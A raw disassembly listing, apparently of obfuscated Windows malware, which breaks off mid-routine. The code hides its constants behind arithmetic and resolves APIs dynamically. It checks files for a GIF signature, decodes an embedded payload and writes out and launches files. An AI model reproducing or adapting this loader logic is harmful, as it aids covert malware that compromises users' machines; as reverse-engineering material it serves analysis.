loc_4460D8: ; CODE XREF: sub_445E8D+205j pop edi pop esi pop ebx leave retn sub_445E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4460DD proc near ; CODE XREF: sub_442408+64p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push ebx push esi push edi push [ebp+arg_0] call ds:dword_48C218 mov ebx, eax mov eax, dword_5510EC dec eax cmp ebx, eax jz loc_44624B push offset byte_55154D call sub_43CAF7 push eax push ebx call ds:dword_44B1AC mov ds:dword_448008, eax push offset dword_551548 call sub_43CAF7 add esp, 8 push eax push ebx call ds:dword_44B1AC mov ds:dword_449004, eax mov eax, dword_551090 sub eax, 4 cmp ds:dword_449004, eax jz loc_44624B mov eax, dword_5510A4 sub eax, 7 cmp ds:dword_448008, eax jz loc_44624B lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call ds:dword_449004 mov edi, eax mov eax, dword_551200 add eax, dword_5511F8 sub eax, 2 cmp eax, edi jnb short loc_446185 push ebx call ds:dword_54FB1C jmp loc_44624B ; --------------------------------------------------------------------------- loc_446185: ; CODE XREF: sub_4460DD+9Aj mov esi, dword_551114 add esi, 0FFFFFFFEh mov eax, dword_5511A0 mov edi, eax add edi, dword_551184 sub edi, 0Ch jmp short loc_4461CD ; --------------------------------------------------------------------------- loc_4461A0: ; CODE XREF: sub_4460DD+F6j mov edx, [ebp+var_8] cmp ds:dword_48C220[edi*4], edx jnz short loc_4461CC mov esi, edi mov edx, [ebp+var_4] cmp ds:dword_4CE920[edi*4], edx jb short loc_4461CC push ebx call ds:dword_54FB1C push [ebp+arg_0] call ds:dword_44800C jmp short loc_44624B ; --------------------------------------------------------------------------- loc_4461CC: ; CODE XREF: sub_4460DD+CDj ; sub_4460DD+DBj inc edi loc_4461CD: ; CODE XREF: sub_4460DD+C1j cmp edi, dword_5512A4 jb short loc_4461A0 mov eax, dword_551214 add eax, 0FFFFFFFCh movsx edx, word_5510A8 add eax, edx cmp esi, eax jz short loc_446217 push ds:dword_50E950[esi*4] call ds:dword_54FB1C mov edi, [ebp+var_4] mov ds:dword_4CE920[esi*4], edi mov edi, ds:dword_448008 mov ds:dword_44B9E0[esi*4], edi mov ds:dword_50E950[esi*4], ebx jmp short loc_44624B ; --------------------------------------------------------------------------- loc_446217: ; CODE XREF: sub_4460DD+10Bj mov edi, dword_5512A4 mov edx, [ebp+var_8] mov ds:dword_48C220[edi*4], edx mov ds:dword_50E950[edi*4], ebx mov ebx, ds:dword_448008 mov ds:dword_44B9E0[edi*4], ebx mov ebx, [ebp+var_4] mov ds:dword_4CE920[edi*4], ebx inc dword_5512A4 loc_44624B: ; CODE XREF: sub_4460DD+1Bj ; sub_4460DD+60j ... pop edi pop esi pop ebx leave retn sub_4460DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446250 proc near ; CODE XREF: sub_43FB03+232p ; sub_43FB03+244p var_61EA3 = byte ptr -61EA3h var_61DA8 = dword ptr -61DA8h var_61DA4 = dword ptr -61DA4h var_61D9E = byte ptr -61D9Eh var_61D9D = byte ptr -61D9Dh var_61C9E = byte ptr -61C9Eh var_61C9D = byte ptr -61C9Dh var_61C9C = dword ptr -61C9Ch var_61C98 = byte ptr -61C98h var_30F58 = dword ptr -30F58h var_30F54 = byte ptr -30F54h var_30E50 = dword ptr -30E50h var_30E4C = dword ptr -30E4Ch var_30E48 = dword ptr -30E48h var_30E44 = dword ptr -30E44h var_30E3F = byte ptr -30E3Fh var_30E3E = byte ptr -30E3Eh var_30E3D = byte ptr -30E3Dh var_30E3C = byte ptr -30E3Ch var_30E3B = byte ptr -30E3Bh var_30E3A = byte ptr -30E3Ah var_30E15 = byte ptr -30E15h var_30E14 = byte ptr -30E14h var_30DC5 = byte ptr -30DC5h var_30DBE = byte ptr -30DBEh var_30DBD = byte ptr -30DBDh var_30DBC = byte ptr -30DBCh var_30D4E = byte ptr -30D4Eh var_30D4A = byte ptr -30D4Ah var_30D40 = byte ptr -30D40h var_30D3F = byte ptr -30D3Fh var_30D3D = byte ptr -30D3Dh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 61EA4h call sub_4475B4 push ebx push esi push edi mov ebx, [ebp+arg_4] mov eax, dword_551180 movsx edx, word_551118 add eax, edx sub eax, 8 push eax mov eax, dword_551114 dec eax push eax push 3 mov eax, dword_5510C8 dec eax push eax mov eax, dword_5510E0 sub eax, 6 push eax push 80000000h push [ebp+arg_0] call ds:dword_54FB18 mov [ebp+var_30E48], eax and [ebp+var_30F58], 0 and [ebp+var_30E50], 0 cmp eax, 0FFFFFFFFh jz loc_4467ED mov eax, dword_5510D4 add eax, dword_5511EC sub eax, 8 push eax lea eax, [ebp+var_30E4C] push eax mov eax, dword_551174 add eax, 7Ch add eax, dword_5510EC push eax lea eax, [ebp+var_30E3F] push eax push [ebp+var_30E48] call ds:dword_448034 mov [ebp+var_30E44], eax mov eax, dword_5510B0 movsx edx, word_551104 add eax, edx sub eax, 5 cmp [ebp+var_30E44], eax jz loc_4467CF cmp [ebp+var_30E3C], 38h jnz short loc_44632F cmp [ebp+var_30E3B], 39h jnz short loc_44632F cmp [ebp+var_30E3A], 61h jz short loc_446334 loc_44632F: ; CODE XREF: sub_446250+CBj ; sub_446250+D4j jmp loc_4467CF ; --------------------------------------------------------------------------- loc_446334: ; CODE XREF: sub_446250+DDj cmp [ebp+var_30E3F], 47h jnz short loc_44634F cmp [ebp+var_30E3E], 49h jnz short loc_44634F cmp [ebp+var_30E3D], 46h jz short loc_446354 loc_44634F: ; CODE XREF: sub_446250+EBj ; sub_446250+F4j jmp loc_4467CF ; --------------------------------------------------------------------------- loc_446354: ; CODE XREF: sub_446250+FDj movzx eax, [ebp+var_30E15] mov edx, dword_5511E4 add edx, 37h cmp eax, edx jnz short loc_44637A cmp [ebp+var_30DBE], 3Dh jnz short loc_44637A cmp [ebp+var_30DBD], 3Dh jz short loc_44637F loc_44637A: ; CODE XREF: sub_446250+116j ; sub_446250+11Fj jmp loc_4467CF ; --------------------------------------------------------------------------- loc_44637F: ; CODE XREF: sub_446250+128j or ebx, ebx jnz short loc_4463C9 call sub_43DB30 mov edx, eax mov [ebp+var_61C9E], dl mov al, [ebp+var_30DBC] mov [ebp+var_61C9D], al mov eax, dword_5510BC cmp [ebp+eax+var_30DBC], 40h jnz short loc_4463B7 mov [ebp+var_30E50], 1 jmp short loc_4463C9 ; --------------------------------------------------------------------------- loc_4463B7: ; CODE XREF: sub_446250+159j mov al, [ebp+var_61C9E] cmp al, [ebp+var_61C9D] jz loc_4467CF loc_4463C9: ; CODE XREF: sub_446250+131j ; sub_446250+165j mov eax, dword_5510D8 sub eax, 6 push eax lea eax, [ebp+var_30E4C] push eax push 30D40h lea eax, [ebp+var_61C98] push eax push [ebp+var_30E48] call ds:dword_448034 mov [ebp+var_30E44], eax mov eax, dword_5510B0 sub eax, 5 cmp [ebp+var_30E44], eax jz loc_4467CF mov eax, [ebp+var_30E4C] mov edx, dword_551100 sub edx, 9 mov [ebp+eax+var_61C98], dl push 30D40h lea eax, [ebp+var_30D40] push eax lea eax, [ebp+var_61C98] push eax call sub_446AA8 add esp, 0Ch mov esi, eax movsx edi, word_5510CC dec edi jmp short loc_44648D ; --------------------------------------------------------------------------- loc_446448: ; CODE XREF: sub_446250+23Fj or ebx, ebx jz short loc_44645F movzx eax, [ebp+edi+var_30D40] sub eax, edi mov [ebp+edi+var_30D40], al jmp short loc_44648C ; --------------------------------------------------------------------------- loc_44645F: ; CODE XREF: sub_446250+1FAj movzx eax, [ebp+edi+var_30D40] mov [ebp+var_61DA4], eax mov eax, edi mul edi mov [ebp+var_61DA8], eax mov eax, [ebp+var_61DA4] mov edx, [ebp+var_61DA8] sub eax, edx mov [ebp+edi+var_30D40], al loc_44648C: ; CODE XREF: sub_446250+20Dj inc edi loc_44648D: ; CODE XREF: sub_446250+1F6j cmp edi, esi jb short loc_446448 or ebx, ebx jz short loc_4464B8 movsx eax, word_5510D0 sub eax, 5 mov edx, esi sub edx, eax mov eax, dword_551124 add eax, dword_551188 sub eax, 7 mov [ebp+edx+var_30D40], al loc_4464B8: ; CODE XREF: sub_446250+243j mov eax, dword_551110 mov edx, dword_551168 add edx, dword_551178 sub edx, 0Bh mov [ebp+eax+var_30DC5], dl push 0FFh lea eax, [ebp+var_61D9D] push eax lea eax, [ebp+var_30E14] push eax call sub_446AA8 lea eax, [ebp+var_61D9D] push eax push esi lea eax, [ebp+var_30D40] push eax call sub_43D3AD add esp, 18h mov [ebp+var_30E44], eax mov eax, dword_5511C8 movsx edx, word_551198 add eax, edx sub eax, 9 cmp [ebp+var_30E44], eax jnz loc_4467CF mov [ebp+var_30F58], 1 or ebx, ebx jz loc_446677 mov eax, dword_5511D0 add eax, dword_5511F8 cmp [ebp+eax+var_30D4A], 64h jnz loc_4465E5 movzx eax, [ebp+var_30D3F] movsx edx, word_551164 add edx, 1Fh sub eax, edx mov [ebp+var_61D9E], al movzx eax, [ebp+var_61D9E] push eax mov eax, dword_5510B0 add eax, dword_551204 sub eax, 7 push eax call sub_43F090 mov eax, dword_551234 movsx edx, word_5511A4 add eax, edx sub eax, 0Eh mov ds:dword_44B5D0, eax mov eax, dword_5511FC mov dword_5512A0, eax mov eax, dword_5511D0 add eax, dword_551110 movsx edx, word_551210 add edx, dword_55117C sub edx, 0Ch mov [ebp+eax+var_30D4E], dl mov eax, dword_5511AC add eax, dword_551150 sub eax, 5 push eax lea eax, [ebp+var_30D40] push eax call sub_446D68 add esp, 10h loc_4465E5: ; CODE XREF: sub_446250+2FAj mov eax, dword_5510BC cmp [ebp+eax+var_30D40], 67h jnz loc_4467CF mov eax, dword_5510A4 mov edx, dword_5511EC movsx ecx, word_5510A8 add edx, ecx sub edx, 3 mov [ebp+eax+var_30D3D], dl lea eax, [ebp+var_30D3F] push eax call ds:dword_44901C mov [ebp+var_61DA4], eax push eax push offset dword_54E970 call sub_445E8D mov eax, dword_5511D4 add eax, dword_5511EC sub eax, 0Bh mov ds:dword_44B5D0, eax mov eax, dword_5510A0 add eax, dword_5511C8 sub eax, 0Bh mov dword_5512A0, eax mov eax, dword_551120 sub eax, 7 push eax lea eax, [ebp+var_30D40] push eax call sub_446D68 add esp, 14h jmp loc_4467CF ; --------------------------------------------------------------------------- loc_446677: ; CODE XREF: sub_446250+2E1j cmp [ebp+var_30E50], 0 jz short loc_4466F7 call ds:dword_54EA70 mov [ebp+var_61DA4], eax push offset asc_551539 ; "\v" call sub_43CAF7 push [ebp+var_61DA4] mov edx, dword_5510A4 dec edx push edx push eax lea edx, [ebp+var_61EA3] push edx call ds:dword_50E928 lea eax, [ebp+var_30F54] push eax movsx eax, word_551094 sub eax, 2 push eax mov eax, dword_551214 sub eax, 3 push eax push 1Ch movsx eax, word_551194 dec eax push eax call ds:dword_48BA00 lea eax, [ebp+var_61EA3] push eax lea eax, [ebp+var_30F54] push eax call ds:dword_44802C add esp, 1Ch jmp short loc_446725 ; --------------------------------------------------------------------------- loc_4466F7: ; CODE XREF: sub_446250+42Ej mov eax, dword_551120 dec eax push eax lea eax, [ebp+var_30F54] push eax call sub_43EDF9 push offset byte_551531 call sub_43CAF7 push eax lea edx, [ebp+var_30F54] push edx call ds:dword_44802C add esp, 14h loc_446725: ; CODE XREF: sub_446250+4A5j mov eax, dword_551120 sub eax, 8 push eax push 80h push 2 movsx eax, word_55109C add eax, dword_5511AC sub eax, 8 push eax movsx eax, word_5511CC sub eax, 9 push eax push 40000000h lea eax, [ebp+var_30F54] push eax call ds:dword_54FB18 mov [ebp+var_61C9C], eax mov eax, dword_55122C movsx edx, word_551240 add eax, edx sub eax, 0Fh push eax lea eax, [ebp+var_30E4C] push eax push esi lea eax, [ebp+var_30D40] push eax push [ebp+var_61C9C] call ds:dword_54FF1C push [ebp+var_61C9C] call ds:dword_4CD948 cmp [ebp+var_30E50], 0 jnz short loc_4467CA push 5 lea eax, [ebp+var_30F54] push eax call ds:dword_44B094 movzx eax, [ebp+var_61C9D] push eax call sub_43DD8A pop ecx jmp short loc_4467CF ; --------------------------------------------------------------------------- loc_4467CA: ; CODE XREF: sub_446250+559j call sub_43E501 loc_4467CF: ; CODE XREF: sub_446250+BEj ; sub_446250:loc_44632Fj ... push [ebp+var_30E48] call ds:dword_4CD948 cmp [ebp+var_30F58], 0 jz short loc_4467ED push [ebp+arg_0] call ds:dword_44800C loc_4467ED: ; CODE XREF: sub_446250+63j ; sub_446250+592j pop edi pop esi pop ebx leave retn sub_446250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4467F2 proc near ; DATA XREF: sub_443843+190o push ebp mov ebp, esp loc_4467F5: ; CODE XREF: sub_4467F2+41j movsx eax, word_551208 movsx edx, word_5511CC add eax, edx sub eax, 0Ah push eax call ds:dword_50E924 pop ecx mov eax, dword_55114C add eax, dword_551100 sub eax, 0Bh push eax push offset sub_43DA83 mov eax, dword_5510A4 sub eax, 7 push eax call ds:dword_449010 jmp short loc_4467F5 sub_4467F2 endp ; --------------------------------------------------------------------------- pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446839 proc near ; CODE XREF: sub_446ED7+33Fp var_10034 = byte ptr -10034h var_10030 = dword ptr -10030h var_1002B = byte ptr -1002Bh var_2C = byte ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 10030h call sub_4475B4 push ebx push esi push edi movsx eax, word_5511C4 sub eax, 8 cmp ds:dword_449FC4, eax jz loc_446AA3 mov eax, dword_551140 add eax, dword_551100 sub eax, 0Ah push eax push dword_551180 mov eax, dword_551174 sub eax, 7 push eax lea eax, [ebp+var_4] push eax call ds:dword_449FC4 mov ebx, eax mov eax, dword_55120C movsx edx, word_551094 add eax, edx sub eax, 6 cmp ebx, eax jnz loc_446AA3 lea eax, [ebp+var_18] push eax movsx eax, word_551198 add eax, dword_5511EC sub eax, 4 push eax mov eax, dword_551100 sub eax, 9 push eax mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax movsx eax, word_551144 movsx edx, word_5510B4 add eax, edx sub eax, 9 cmp ebx, eax jnz loc_446A8F loc_4468E6: ; CODE XREF: sub_446839+128j ; sub_446839+15Ej movsx eax, word_5510C4 sub eax, 6 push eax lea eax, [ebp+var_14] push eax movsx eax, word_5510F8 sub eax, 4 push eax mov eax, [ebp+var_18] push eax mov edi, [eax] call dword ptr [edi+0Ch] mov ebx, eax mov eax, dword_5510C0 movsx edx, word_5511F0 add eax, edx sub eax, 8 cmp ebx, eax jnz loc_446A57 lea eax, [ebp+var_1C] push eax movsx eax, word_5511A4 sub eax, 6 push eax lea eax, [ebp+var_14] push eax mov eax, dword_5511C8 add eax, dword_551204 sub eax, 0Ah push eax mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr [edi+3Ch] mov ebx, eax mov eax, dword_5511F8 add eax, dword_5510DC sub eax, 7 cmp ebx, eax jnz short loc_4468E6 loc_446963: ; CODE XREF: sub_446839+219j mov eax, dword_551110 sub eax, 9 push eax lea eax, [ebp+var_2C] push eax mov eax, dword_551120 movsx edx, word_5510A8 add eax, edx sub eax, 7 push eax mov eax, [ebp+var_1C] push eax mov edi, [eax] call dword ptr [edi+0Ch] mov ebx, eax mov eax, dword_551228 sub eax, 8 cmp ebx, eax jnz loc_4468E6 mov eax, dword_5511DC movsx edx, word_551198 add eax, edx dec eax push eax lea eax, [ebp+var_10030] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, dword_5511F4 sub eax, 9 push eax mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr [edi+28h] mov ebx, eax movsx eax, word_551208 add eax, dword_551234 mov edx, dword_5510E8 movsx ecx, word_551128 add edx, ecx sub edx, 6 mov [ebp+eax+var_10034], dl movsx eax, word_5511A4 add eax, dword_551150 sub eax, 0Ah cmp ebx, eax jnz short loc_446A22 lea eax, [ebp+var_1002B] push eax mov eax, [ebp+var_10030] push dword ptr [eax+4] call sub_43DBFE add esp, 8 loc_446A22: ; CODE XREF: sub_446839+1CFj lea eax, [ebp+var_1002B] push eax lea esi, [ebp+var_2C] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_14] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd push [ebp+var_4] call sub_440364 add esp, 28h jmp loc_446963 ; --------------------------------------------------------------------------- loc_446A57: ; CODE XREF: sub_446839+E5j mov eax, dword_551114 add eax, dword_5510AC sub eax, 8 cmp [ebp+var_1C], eax jz short loc_446A73 mov eax, [ebp+var_1C] push eax mov esi, [eax] call dword ptr [esi+8] loc_446A73: ; CODE XREF: sub_446839+22Fj mov eax, dword_551098 add eax, dword_5511D8 sub eax, 0Dh cmp [ebp+var_18], eax jz short loc_446A8F mov eax, [ebp+var_18] push eax mov esi, [eax] call dword ptr [esi+8] loc_446A8F: ; CODE XREF: sub_446839+A7j ; sub_446839+24Bj mov eax, dword_5510EC dec eax cmp [ebp+var_4], eax jz short loc_446AA3 mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] loc_446AA3: ; CODE XREF: sub_446839+20j ; sub_446839+63j ... pop edi pop esi pop ebx leave retn sub_446839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446AA8 proc near ; CODE XREF: sub_43D535+103p ; sub_446250+1E4p ... var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_40D = byte ptr -40Dh var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = dword ptr -400h var_358 = dword ptr -358h var_34C = dword ptr -34Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 41Ch push ebx push esi push edi movsx esi, word_5510A8 jmp short loc_446ADA ; --------------------------------------------------------------------------- loc_446ABD: ; CODE XREF: sub_446AA8+3Ej movsx edx, word_551164 movsx ecx, word_551190 add edx, ecx sub edx, 8 neg edx mov [ebp+esi*4+var_400], edx inc esi loc_446ADA: ; CODE XREF: sub_446AA8+13j mov eax, dword_551124 add eax, 0FEh cmp esi, eax jb short loc_446ABD mov eax, dword_55119C movsx edx, word_551244 add eax, edx sub eax, 0Bh mov [ebp+var_404], eax mov edi, dword_55112C add edi, 27h movsx eax, word_5510CC add edi, eax jmp short loc_446B2E ; --------------------------------------------------------------------------- loc_446B13: ; CODE XREF: sub_446AA8+90j mov edx, dword_551234 add edx, dword_5511F4 sub edx, 0Dh mov ecx, edi add ecx, edx mov [ebp+edi*4+var_400], ecx inc edi loc_446B2E: ; CODE XREF: sub_446AA8+69j mov eax, dword_551238 add eax, 3Ah cmp edi, eax jb short loc_446B13 mov ebx, [ebp+arg_4] movsx esi, word_551244 sub esi, 7 movsx edi, word_5510C4 sub edi, 6 jmp short loc_446B8A ; --------------------------------------------------------------------------- loc_446B53: ; CODE XREF: sub_446AA8+F6j movsx edx, word_551104 add edx, 41h mov ecx, edi add ecx, edx mov [ebp+ecx*4+var_400], edi mov edx, dword_551100 add edx, 58h mov ecx, edi add ecx, edx mov edx, dword_5511BC add edx, 14h mov eax, edi add eax, edx mov [ebp+ecx*4+var_400], eax inc edi loc_446B8A: ; CODE XREF: sub_446AA8+A9j movsx eax, word_551144 movsx edx, word_55109C lea eax, [eax+edx+10h] cmp edi, eax jb short loc_446B53 mov edx, dword_5510C0 mov ecx, dword_5510BC add ecx, 3Fh mov [ebp+edx*4+var_34C], ecx movsx edx, word_551198 mov ecx, dword_5511EC add ecx, 34h add ecx, dword_5511D0 mov [ebp+edx*4+var_358], ecx movsx eax, word_551128 add eax, dword_551228 sub eax, 0Dh mov [ebp+var_40C], eax mov eax, [ebp+arg_8] add eax, [ebp+arg_4] mov [ebp+var_408], eax mov edi, [ebp+arg_0] jmp loc_446D3E ; --------------------------------------------------------------------------- loc_446BFD: ; CODE XREF: sub_446AA8+2A1j movsx edx, byte ptr [edi] shl edx, 2 mov esi, [ebp+edx+var_400] mov eax, dword_5511B4 sub eax, 3 neg eax cmp esi, eax jz loc_446D3D mov eax, [ebp+var_404] or eax, eax jl loc_446D37 cmp eax, 3 jg loc_446D37 jmp off_551460[eax*4] loc_446C3A: ; DATA XREF: .data:off_551460o inc [ebp+var_404] jmp loc_446D37 ; --------------------------------------------------------------------------- loc_446C45: ; CODE XREF: sub_446AA8+18Bj ; DATA XREF: .data:00551464o mov edx, [ebp+var_40C] movsx ecx, word_551240 sub ecx, 6 mov eax, edx shl eax, cl mov [ebp+var_418], eax mov edx, esi and edx, 30h mov ecx, dword_551114 add ecx, dword_551200 sub ecx, 2 mov eax, edx sar eax, cl mov edx, [ebp+var_418] or edx, eax mov [ebp+var_40D], dl mov eax, ebx inc ebx mov dl, [ebp+var_40D] mov [eax], dl inc [ebp+var_404] jmp loc_446D37 ; --------------------------------------------------------------------------- loc_446C9B: ; CODE XREF: sub_446AA8+18Bj ; DATA XREF: .data:00551468o mov edx, [ebp+var_40C] and edx, 0Fh movsx ecx, word_551198 mov eax, dword_551238 lea ecx, [ecx+eax+3] mov eax, edx shl eax, cl mov [ebp+var_41C], eax mov edx, esi and edx, 3Ch mov ecx, dword_5510E0 add ecx, dword_5511FC sub ecx, 4 mov eax, edx sar eax, cl mov edx, [ebp+var_41C] or edx, eax mov [ebp+var_40D], dl mov eax, ebx inc ebx mov dl, [ebp+var_40D] mov [eax], dl inc [ebp+var_404] jmp short loc_446D37 ; --------------------------------------------------------------------------- loc_446CF7: ; CODE XREF: sub_446AA8+18Bj ; DATA XREF: .data:0055146Co mov edx, [ebp+var_40C] and edx, 3 movsx ecx, word_551118 add ecx, dword_5511A0 sub ecx, 0Ah mov eax, edx shl eax, cl mov edx, eax or edx, esi mov [ebp+var_40D], dl mov eax, ebx inc ebx mov dl, [ebp+var_40D] mov [eax], dl mov eax, dword_551108 sub eax, 8 mov [ebp+var_404], eax loc_446D37: ; CODE XREF: sub_446AA8+17Cj ; sub_446AA8+185j ... mov [ebp+var_40C], esi loc_446D3D: ; CODE XREF: sub_446AA8+16Ej inc edi loc_446D3E: ; CODE XREF: sub_446AA8+150j cmp byte ptr [edi], 0 jz short loc_446D4F cmp ebx, [ebp+var_408] jb loc_446BFD loc_446D4F: ; CODE XREF: sub_446AA8+299j cmp byte ptr [edi], 0 jnz short loc_446D5B mov eax, ebx sub eax, [ebp+arg_4] jmp short loc_446D63 ; --------------------------------------------------------------------------- loc_446D5B: ; CODE XREF: sub_446AA8+2AAj mov eax, dword_5511DC inc eax neg eax loc_446D63: ; CODE XREF: sub_446AA8+2B1j pop edi pop esi pop ebx leave retn sub_446AA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446D68 proc near ; CODE XREF: sub_446250+38Dp ; sub_446250+41Ap var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi movsx eax, word_5511F0 sub eax, 6 push eax push 80h push 4 mov eax, dword_551178 add eax, dword_5511B4 sub eax, 0Dh push eax mov eax, dword_551120 movsx edx, word_5511A8 add eax, edx sub eax, 8 push eax push 40000000h push offset dword_4CC230 call ds:dword_54FB18 mov edi, eax push 0 mov eax, dword_5511B8 add eax, dword_5510C0 sub eax, 6 push eax push [ebp+arg_4] push edi call ds:dword_54FF30 mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_446DD7: ; CODE XREF: sub_446D68+74j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_446DD7 mov esi, eax mov ebx, dword_5511E0 sub ebx, 4 push ebx lea ebx, [ebp+var_4] push ebx push esi push [ebp+arg_0] push edi call ds:dword_54FF1C push edi call ds:dword_4CD948 pop edi pop esi pop ebx leave retn sub_446D68 endp ; =============== S U B R O U T I N E ======================================= sub_446E05 proc near ; CODE XREF: sub_446ED7+16p push edi push offset byte_551521 call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_551268, eax movsx eax, word_551190 sub eax, 8 cmp dword_551268, eax jnz short loc_446E46 push offset byte_551511 call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_551268, eax loc_446E46: ; CODE XREF: sub_446E05+28j push offset dword_551500 call sub_43CAF7 push eax push dword_551268 call ds:dword_44B1AC mov ds:dword_54FF34, eax push offset word_5514EE call sub_43CAF7 push eax push dword_551268 call ds:dword_44B1AC mov ds:dword_44900C, eax push offset word_5514DE call sub_43CAF7 push eax push dword_551268 call ds:dword_44B1AC mov ds:dword_550044, eax push offset byte_5514CF call sub_43CAF7 push eax push dword_551268 call ds:dword_44B1AC mov ds:dword_448048, eax push offset byte_5514BF call sub_43CAF7 add esp, 14h push eax push dword_551268 call ds:dword_44B1AC mov ds:dword_4CC224, eax pop edi retn sub_446E05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446ED7 proc near ; DATA XREF: sub_43D76D+Co ; sub_43D76D+34o ... var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = byte ptr -144h var_143 = byte ptr -143h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 158h push ebx push esi push edi call sub_43DD23 call sub_43D309 call sub_446E05 call sub_445885 call sub_445E1B call sub_4427D3 call sub_4428C5 call sub_441B17 call sub_43EBF8 call sub_443272 call sub_442FB0 mov esi, eax loc_446F1C: ; CODE XREF: sub_446ED7+ABj call sub_43DC76 mov edx, eax mov [ebp+var_144], dl movzx eax, [ebp+var_144] mov edx, dword_551200 add edx, dword_551248 sub edx, 7 cmp eax, edx jnz short loc_446F58 mov eax, dword_551090 add eax, dword_551108 sub eax, 0Bh push eax call ds:dword_54E960 loc_446F58: ; CODE XREF: sub_446ED7+6Aj movzx eax, [ebp+var_144] mov edx, dword_55116C sub edx, 4 cmp eax, edx jnz short loc_446F84 mov eax, dword_55110C add eax, 5Ch add eax, dword_5510D8 push eax call ds:dword_50E924 pop ecx jmp short loc_446F1C ; --------------------------------------------------------------------------- loc_446F84: ; CODE XREF: sub_446ED7+93j or esi, esi jnz loc_44706B push offset dword_5514B4 call sub_43CAF7 mov [ebp+var_150], eax push offset word_5514AA call sub_43CAF7 push eax mov edx, [ebp+var_150] push edx lea edx, [ebp+var_143] push edx call ds:dword_50E928 lea eax, [ebp+var_143] push eax push 0 mov eax, dword_551230 movsx edx, word_551118 add eax, edx sub eax, 9 push eax call ds:dword_4CE908 mov edi, eax push offset word_55149E call sub_43CAF7 mov [ebp+var_154], eax push offset dword_551494 call sub_43CAF7 mov edx, dword_551234 movsx ecx, word_5510F4 add edx, ecx sub edx, 4 push edx push eax mov edx, [ebp+var_154] push edx lea edx, [ebp+var_143] push edx call ds:dword_50E928 add esp, 2Ch lea eax, [ebp+var_143] push eax push 1 push dword_5511DC call ds:dword_4CE908 mov edi, eax mov eax, dword_5510C0 sub eax, 2 cmp edi, eax jnz short loc_447052 push dword_551224 call ds:dword_54E960 loc_447052: ; CODE XREF: sub_446ED7+16Dj mov eax, dword_5510E0 add eax, 0FFFFFFF1h movsx edx, word_551118 add eax, edx push eax push edi call ds:dword_50E920 loc_44706B: ; CODE XREF: sub_446ED7+AFj movsx eax, word_551164 dec eax push eax call ds:dword_44B598 mov ebx, eax lea eax, sub_43EE6A mov [ebp+var_40], eax mov [ebp+var_28], 5 movsx eax, word_551194 mov edx, eax add edx, eax mov eax, edx sub eax, 2 mov [ebp+var_30], eax movsx eax, word_551190 sub eax, 8 mov [ebp+var_2C], eax mov [ebp+var_34], ebx mov eax, dword_55121C add eax, dword_5511C8 sub eax, 0Ch mov [ebp+var_38], eax mov [ebp+var_44], 3 push offset word_55148A call sub_43CAF7 mov [ebp+var_20], eax mov eax, dword_5510C0 add eax, dword_5510B8 sub eax, 6 mov [ebp+var_3C], eax mov eax, dword_55116C sub eax, 5 mov [ebp+var_24], eax lea eax, [ebp+var_44] push eax call ds:dword_44B090 push offset byte_5527C3 call sub_43CAF7 mov [ebp+var_158], eax push offset dword_551480 call sub_43CAF7 mov edx, dword_5511F4 sub edx, 9 push edx push ebx movsx edx, word_5511C4 add edx, dword_551140 sub edx, 9 push edx mov edx, dword_5511B8 sub edx, 4 push edx mov edx, dword_5510D4 movsx ecx, word_551210 add edx, ecx sub edx, 0Ah push edx mov edx, dword_5510A4 mov ecx, dword_5510DC add ecx, edx sub ecx, 0Bh push ecx mov ecx, dword_5511B0 add ecx, dword_5511C8 sub ecx, 0Fh push ecx add edx, dword_551124 sub edx, 9 push edx push 0CA0000h push eax mov edx, [ebp+var_158] push edx movsx edx, word_551198 add edx, dword_55120C sub edx, 5 push edx call ds:dword_4CD93C mov ds:dword_44B5C0, eax lea eax, [ebp+var_148] push eax push ebx call sub_43EC56 mov [ebp+var_14C], eax push 0 call sub_440CD2 add esp, 18h mov eax, [ebp+var_148] mov ds:dword_44B5C4, eax mov eax, [ebp+var_14C] mov ds:dword_4CE8FC, eax or esi, esi jnz short loc_4471F1 call sub_442B06 mov eax, dword_5510E8 add eax, dword_55123C dec eax mov ds:dword_50E92C, eax jmp short loc_447202 ; --------------------------------------------------------------------------- loc_4471F1: ; CODE XREF: 